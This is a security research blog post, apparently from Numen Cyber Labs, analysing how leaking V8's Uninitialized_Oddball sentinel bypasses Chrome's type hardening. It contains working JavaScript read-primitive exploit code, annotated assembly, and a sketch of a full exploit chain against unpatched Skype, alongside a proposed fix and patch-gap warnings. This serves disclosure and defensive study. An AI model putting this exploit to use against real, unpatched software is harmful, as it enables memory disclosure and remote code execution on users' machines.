Using Leaking Sentinel Value to Bypass the Latest Chrome v8 HardenProtect

Numen Cyber Labs
9 min readDec 20, 2022

--

Preface

Sentinel value (aka flag value/trip value/rogue value/signal value/dummy data) is a special value used in the algorithm, it is usually used as a special value for terminating conditions in loops or recursive algorithms. There are many Sentinel values in the source code of chromium.

Both from-leaking-the-hole-to-chrome-renderer-rce and TheHole New World — how a small leak will sink a great browser ( CVE-2021–38003) described the new method of leaking TheHole object, which can lead to RCE. Both CVE-2021–38003 and CVE-2022–1364 have proved this.

After we described the mitigation bypass and made all the details public. One week later, Google also made the two CVEs in-wild to their GitHub blog. The timeline can be seen here:

Numen’s blog analysis on Leaking TheHole to Chrome Renderer RCE, published on 20 Sep 2022
Screenshot of Google’s GitHub, committed on 28 Sep 2022

Here, the TheHole object, which could lead to arbitrary code execution, was fixed. We can check this in the source code of chromium. But to be honest, besides the TheHole object there are many other native objects in v8 which should not be leaked into JavaScript. In this article, we are going to talk about Uninitialized_Oddball.

The full javascript code for bypassing Harden Protect was disclosed in Issue1352549. And it was written by Project0 member Tiszka in his exploit. But what is more important is that this method is still effective for the latest version of V8 and Google has yet to fix it.

Because of its effectiveness and potency, we have to advise you to check and make sure there is no patchGap in your software.

01- Issue1216437 (CVE-2021–30551) was submitted by Glazunov. The first POC updated by him was just to leak the internal uninitialized oddball. Although the second POC was given as type confusion, combined with this method, only the first POC can easily complete the RCE;

02- In Issue1314616 (CVE-2022–1486), Project0 member btiszka uploaded another POC, which was also a direct leak of Uninitialized Oddball. Although it was not clear how to move on from leaking UninitializedOddball to RCE at that time, it was enough to prove the security severity. In Issue 1314616, btiszka made the following statement:

“Exploitability Notes: Currently, I’m not sure if this primitive can lead to more than an infoleak. Exploitation is not as straightforward as …”

03- Issue1352549(NoCVE). Please note the impact of this PatchGap!

We believe that these three reasons are enough to convince us to ensure that our software is immune to any chrome PatchGap. I can confirm that Skype has not fixed this vulnerability (Issue1352549).

Sentinel value in V8

There are some native objects in v8’s source code (v8/src/roots/roots.h). These objects stay together in memory next to each other.

/* Oddballs */                                                      Offset   \
V(Oddball, uninitialized_value, UninitializedValue) 0138 \
V(Oddball, the_hole_value, TheHoleValue) 0148 \
V(Oddball, arguments_marker, ArgumentsMarker) 0218 \
V(Oddball, exception, Exception) %DebugPrint() crash 0220 \
V(Oddball, termination_exception, TerminationException) 0228 \
V(Oddball, optimized_out, OptimizedOut) 0230 \
V(Oddball, stale_register, StaleRegister) 0238 \

Just like the TheHole object, we should not leak these objects into javascript. Because if only the vulnerability is triggered, arbitrary code execution can be achieved by leaking these native objects into Javascript. The leakage of the TheHole object in the previous article proved this problem. We have to reiterate here that this mitigation method has not been fixed in the latest version of V8.

In order to check this method in the latest V8, we can modify the native function of v8 to leak Uninitialized Oddball into JavaScript. Here we directly modify the relative isolate offset (index) of the %TheHole() function to return Uninitialized Oddball. Find the Runtime_TheHole function after decompiling the code and patch it:

v8::internal::Address v8::internal::Runtime_TheHole(int args_length, v8::internal::Address *args_object, v8::internal::Isolate *isolate)
push rbp
mov rbp, rsp
lea rax, v8::internal::V8HeapCompressionScheme::base_
mov eax, [rax]
test eax, eax
jnz short loc_9B2ABA
mov rax, [isolate+148h] ;;修改148h为138h
pop rbp
retn

call %DebugPrint(%TheHole()) then we can see the following result:

$ ./d8 --expose-gc --allow-natives-syntax /home/avboy/Desktop/poc.js
0x210400002371 <Odd Oddball: uninitialized>

Bypass HardenType

Because this method was made public in Issue1352549, we shall just extract and simplify the read primitives directly, as shown in the following code:

class Helpers {
constructor() {
this.buf = new ArrayBuffer(8);
this.u64 = new BigUint64Array(this.buf);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
gc();
}
f2big(f) {
this.f64[0] = f;
return this.u64[0];
}
fhi(f) {
this.f64[0] = f;
return this.u32[1];
}
flow(f) {
this.f64[0] = f;
return this.u32[0];
}
}
function UninitializedOddballExploiter(uninitialized_oddball) {
var h = new Helpers();
let arr = new Array(0x1000000);
arr[0] = 1.1; arr.a = 1.1;
let exp1 = { prop: uninitialized_oddball };
let exp2 = { prop: { read_arr: arr } };
let read = (object, index) => { return object.prop.read_arr[index]; };
% PrepareFunctionForOptimization(read);
read(exp2, 0);
% OptimizeFunctionOnNextCall(read);
const old_space = 0x200000;//0x200000
let start_offset = Math.floor(old_space / 8) + 3;
for (var i = start_offset; i < start_offset + 0x6b000; i++) {
let real_offset = i - 2;
let hi = read(exp1, real_offset);
let lo = read(exp1, real_offset - 1);
let result = (BigInt(h.flow(hi)) << 32n) + (BigInt(h.fhi(lo)));
console.log("result:" + result.toString(16));
readline();
}
}
UninitializedOddballExploiter(%TheHole());//注意对%TheHole()做patch

We tested the above javascript in v8–11.0.0, and when %TheHole() returns the UninitializedOddball, relatively arbitrary read primitives are still effective.

./d8 --expose-gc --allow-natives-syntax --print-opt-code --print-opt-code-filter=read --trace-turbo /home/avboy/Desktop/poc2.js

For the optimized JavaScript read function remove the Prologue and leave the key disassembly as shown below:

0x558b20004069    29  488b4d18             REX.W movq rcx,[rbp+0x18] 
0x558b2000406d 2d f6c101 testb rcx,0x1 ;; check if rcx(ie. obj, the 1st arg of function) is 'Smi'
0x558b20004070 30 0f842e020000 jz 0x558b200042a4 <+0x264> ;; deopt reason 'Smi'
0x558b20004076 36 41b831cd1900 movl r8,0x19cd31 ;; (compressed) object: 0x17140019cd31 <Map[16](HOLEY_ELEMENTS)>
0x558b2000407c 3c 443941ff cmpl [rcx-0x1],r8 ;; check the map(r8=0x19cd31 is the map of obj)
;; here we check the map of obj, but we did not check the value of key(ie. obj.prop)
;; and if we make the value of key to be uninitialized_oddball, there is the bypass
0x558b20004080 40 0f8522020000 jnz 0x558b200042a8 <+0x268> ;; deopt reason 'wrong map'
0x558b20004086 46 448b410b movl r8,[rcx+0xb] ;; *(addr(obj)+0xb) -> r8
0x558b2000408a 4a 478b44060b movl r8,[r14+r8*1+0xb] ;; r14 is high addr
0x558b2000408f 4f 4d03c6 REX.W addq r8,r14 ;; r8 -> [String] in ReadOnlySpace: #uninitialized
0x558b20004092 52 458b4807 movl r9,[r8+0x7] ;;
0x558b20004096 56 4d03ce REX.W addq r9,r14 ;; r9 -> 0x2eb90000000d
0x558b20004099 59 458b400b movl r8,[r8+0xb] ;;
0x558b2000409d 5d 488b7d20 REX.W movq rdi,[rbp+0x20] ;; rdi is index of arr, the 2nd arg of function
0x558b200040a1 61 40f6c701 testb rdi,0x1 ;; check if rdi is 'Smi'
0x558b200040a5 65 0f85da000000 jnz 0x558b20004185 B5 <+0x145> ;; if rdi is not 'Smi', JMP
0x558b200040ab 6b 4c63df REX.W movsxlq r11,rdi ;;
0x558b200040ae 6e 49d1fb REX.W sarq r11, 1 ;; r11/2, because 'Smi' stored as 'Smi'*2 in Memory
0x558b200040b1 71 4d63c0 REX.W movsxlq r8,r8
0x558b200040b4 74 49d1f8 REX.W sarq r8, 1
0x558b200040b7 77 4d3bd8 REX.W cmpq r11,r8 ;; r11 = 0x40002,real_offset as the index of arr
0x558b200040ba 7a 0f83ec010000 jnc 0x558b200042ac <+0x26c> ;; deopt reason 'out of bounds'
0x558b200040c0 80 c4817b1044d907 vmovsd xmm0,[r9+r11*8+0x7] ;; move double float value to xmm0
0x558b200040c7 87 c5f92ec0 vucomisd xmm0,xmm0 ;; Compare float value and Set EFLAGS
0x558b200040cb 8b 0f8a88010000 jpe 0x558b20004259 B9 <+0x219> ;; jpe(Jump if parity even)
0x558b200040d1 91 0f8582010000 jnz 0x558b20004259 B9 <+0x219> ;; jnz(Jump if not zero)

In the javascript function of read, at the address of 0x558b2000407c, the first argument named obj was checked to make sure the property of prop is correct. But instead of checking the Value of obj.prop as the key, the offset is calculated directly according to the JavaScript semantics to get the value of the array. This leads to type confusion and arbitrary reads when we do the calculation.

As shown in the above assembly, when we pass in uninitialized_oddball, the calculation starts from 0x558b20004086 with obj as the starting point, and finally completes the arbitrary read in the vmovsd xmm0,[r9+r11*8+0x7] instruction, and the data is stored in the xmm0 register. Similar to the TheHole object, due to the uninitialized_oddball in v8 memory sorted forward, and the object content is more primitive, forgery is easier, after the TheHole mitigation bypass fix, this method is not lost as the first choice for bypass. Similarly, arbitrarily written, we can refer to Issue1352549 for construction analysis. As the principle is similar, it is no longer repeated.

Here the repair proposal is to add a check on the array map when the optimized function returns the array elements to avoid directly calculating the offset to return the array values.

PatchGap Alert

When we are talking about chrome PatchGap, not only should we pay attention to the old vulnerabilities found by researchers, but we also need to check Google cluster fuzz. Because these vulnerabilities that Google fixed quickly and silently can also be exploited.

After our analysis of Issue1352549, we quickly checked some software that did not fix PatchGaps with the relationship of uninitialized_oddball bypass, and we examined that Skype still did not fix this vulnerability. The arbitrary reads and writes are slightly different in skype. Because the arch of skype is x86 so we don’t need to consider Pointer compression in it. So we can get absolute read and write primitives directly.

But when we are writing exploits on x64, due to Pointer compression, v8 will add the base address by default. Just check the following assembly code that was optimized by tuborgfun, and we can have a clear understanding:

0x3979b8ff    3f  8b790b       mov edi,[ecx+0xb]
0x3979b902 42 8b7f0b mov edi,[edi+0xb]
0x3979b905 45 8b4707 mov eax,[edi+0x7] ;; eax will be a fixed number
0x3979b908 48 8b7f0b mov edi,[edi+0xb]
0x3979b90b 4b 8b5510 mov edx,[ebp+0x10]
0x3979b90e 4e f6c201 test_b dl,0x1
0x3979b911 51 0f85b6000000 jnz 0x3979b9cd <+0x10d>
0x3979b917 57 89d6 mov esi,edx
0x3979b919 59 d1fe sar esi,1 ;; esi is index
0x3979b91b 5b d1ff sar edi,1 ;; 0x3734b73a
0x3979b91d 5d 3bf7 cmp esi,edi
0x3979b91f 5f 0f838e010000 jnc 0x3979bab3 <+0x1f3> ;; deopt reason 'out of bounds'
0x3979b925 65 c5fb104cf007 vmovsd xmm1,xmm0,[eax+esi*8+0x7] ;;

As shown above, esi is the index of the arbitrary read array. Eax is a fixed value, and edi is the Max value used to detect “out of bounds”.

Therefore, within the range of edi, you can read and write arbitrarily. When we are writing the exploit of Skype, we can not enjoy the convenience made by Pointer compression when we step to memory read and write. And aslr is enabled on skype. But because the file is too large to live in the 4GB memory, hackers only need to read a fixed address and send the contents to the server, then cooperate with the server by pe analysis, there is a high probability of aslr bypass.

Combined with traditional ideas such as PE parsing, it is not difficult to complete the entire full chain of this vulnerability. Because there is no sandbox in Skype, if we install it by downloading it from Microsoft and installing it directly, we can not doubt that hackers may have completed the full exploit chain.

PatchGap created by Issue1352549 actually leaves us with more work than checking Issue1352549. Because of the new Typer bypass method published, it directly makes some issues like 1314616 and 1216437 more easily exploitable. Hackers don’t need to spend too much effort to achieve RCE if there is only a leak of uninitialized_oddball, including all similar vulnerabilities Issued by Google cluster fuzz.

Summary

In this article, we just make a rough analysis about the implementation of arbitrary read primitives by leaking the uninitialized_Oddball. As shown in Part II, there are many more Sentinel values in v8, and to be honest , there are a lot of crashes if we replace normal objects with Sentinel values, also including non-int3 crashes. Since Uninitialized_Oddball and TheHole have both proved the ability of Harden Bypass in v8, there is no doubt that other Sentinel values may also cause similar problems.

This also gives us a hint that:

1 — Whether other uninitialized_Oddball leaks will easily implement RCE in v8.

2 — We have seen that Google will quickly put TheHole bypass to fix it, and we have seen that using garbage collection to implement ASLR bypass has been put on hold for a long time. This suggests that similar issues are still at a fuzzy boundary as to whether they are officially treated as security issues.

3 — If the issue in 02 is treated as a formal security issue, is it necessary to consider adding Sentinel values such as %TheHole/uninitialized_Oddball as variables in fuzzer to mine other exploit primes?

It has to be emphasized here that regardless of whether the class is treated formally as a security problem or not, it will significantly reduce the hacker’s implementation of the full exploit cycle.

References

https://bugs.chromium.org/p/chromium/issues/detail?id=1314616

https://bugs.chromium.org/p/chromium/issues/detail?id=1352549

https://bugs.chromium.org/p/chromium/issues/detail?id=1216437

https://starlabs.sg/blog/2022/12-the-hole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/

Numen Cyber Labs is committed to facilitating the safe development of Web3.0. We are dedicated to the security of the blockchain ecosystem, as well as operating systems & browser/mobile security. We regularly disseminate analyses on topics such as these, please stay tuned for more!

--

--

Numen Cyber Labs

Numen Cyber Technology is a Cybersecurity vendor and solution provider based in Singapore.We dedicate ourselves in Web3 Security and Threat Detection & Response